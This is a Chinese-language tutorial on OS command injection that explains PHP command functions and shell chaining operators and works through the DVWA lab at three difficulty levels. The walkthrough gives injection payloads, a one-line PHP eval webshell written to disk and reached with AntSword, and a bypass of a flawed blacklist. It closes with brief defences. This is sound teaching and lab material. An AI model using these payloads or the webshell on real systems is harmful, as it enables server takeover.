命令执行漏洞

1、原理:

Web应用程序的某些功能需要调用一些可以执行系统命令的函数,如果函数或者函数的参数能被用户控制,同时没有对用户的输入做严格的过滤,就能将恶意命令通过命令连接符 拼接到正常的命令中,从而随意地执行系统命令,实现getshell。

2、PHP中常见命令执行函数:

system()、exec()、shell_exec()、passthru()

|--------------|-------------------------|-----------------------------------------|-------------------------------------------|-----------------------------------------------------------------------------|
| PHP 函数 | Java 对应方式 | Python 对应方式 | ASP 对应方式(经典 ASP) | ASP.NET 对应方式 |
| system() | Runtime.exec() + 输出流读取 | os.system() | WScript.Shell.Exec | Process.Start |
| exec() | Runtime.exec() + 输出流读取 | subprocess.run(...,capture_output=True) | WScript.Shell.Exec` + `StdOut.ReadAll() | Process.Start` + `StandardOutput.ReadToEnd() |
| shell_exec() | Runtime.exec() + 读取完整输出 | subprocess.run(...).stdout | WScript.Shell.Exec` + `StdOut.ReadAll() | Process.Start` + `StandardOutput.ReadToEnd() |
| passthru() | ProcessBuilder + 实时输出 | subprocess.Popen(..., stdout=PIPE) | WScript.Shell.Exec` + 直接输出 | Process.Start` + `StandardOutput.BaseStream.CopyTo(Response.OutputStream) |

3、常用命令连接符(Windows和Linux通用):

Command1**|**Command2 管道符,将C1执行后输出的结果作为输入传递给C2

Command1**||**Command2 先后执行1,2,只有1执行失败才执行2

Command1**&&**Command2 先后执行1,2,只有1执行成功才执行2

Command1 & Command2 先后执行1,2,无论1执行是否成功

Command1**;**Command2 先后执行1,2,无论1执行是否成功(linux独有)

4、【DVWA】之命令注入

Low

查看源代码,无任何防护

(1)IP:127.0.0.1

(2)IP:127.0.0. | ipconfig

(3)IP:127.0.0. || cd #先后执行1,2,只有1执行失败才执行2

(4)IP:127.0.0.1 && cd #先后执行1,2,只有1执行成功才执行2

(5)127.0.0.1 & dir #先后执行1,2,无论1执行是否成功

(6)获取webshell

127.0.0.1 | echo "<?php @eval($_POST666);?>" >666.php

127.0.0.1 | dir

蚁剑连接

http://10.20.0.5/DVWA-master/vulnerabilities/exec/666.php

Medium

查看源代码

(1)IP:127.0.0.1 & cd #先后执行1,2,无论1执行是否成功

(2)IP:127.0.0. | ipconfig

......

High

查看源码,通过黑名单过滤了更多命令连接符,但在过滤'| '时多了一个空格。

127.0.0.1 |cd # |后不接空格绕过黑名单匹配

5、防御方法

(1)过滤常见命令连接符

(2)校验token

(3)使用白名单限制用户输入

相关推荐
小蒋观天下8 小时前
两轮车检测AI摄像头——2026行业竞争格局、商业模式与核心痛点
大数据·人工智能·安全·计算机视觉·ai大模型
小蒋观天下10 小时前
两轮车检测AI摄像头——2026-2030年未来市场规模、增长逻辑与行业天花板
大数据·人工智能·安全·计算机视觉·ai大模型
yu_zhidun11 小时前
企业管理者看:员工上网行为管理软件,别再只靠网关“赌安全”
大数据·人工智能·安全·域智盾
2601_9623649712 小时前
电脑人脸解锁的安全基石,聊聊 Windows Hello 硬件规范
windows·安全·电脑
重明链迹实验室13 小时前
重明链迹丨每周区块链安全要闻(0921-0927)
安全·web3·区块链
AOXU_Consulting15 小时前
医用吊塔:手术室和 ICU 天花板上那根“臂“是做什么的
安全·健康医疗
程序员JerrySUN15 小时前
Jetson边缘嵌入式实战课程第四讲:用 Yocto 定制 Jetson 系统,从开发走向产品化
arm开发·人工智能·安全·计算机视觉·目标跟踪
卓豪终端管理16 小时前
员工手机上的企业App出问题了,IT在电话里说不清、员工也不会操作,派人上门成本又高。有没有安全可控的远程协助方式?
安全
EasyCVR16 小时前
监控画面还在传≠还能用!EasyVQD视频质量诊断:识别监控 “假在线”!
安全·easycvr·国标gb28181
企业解惑小助手17 小时前
企业管理者视角:透明加密软件,别幻想靠一款工具彻底杜绝泄密
其他·安全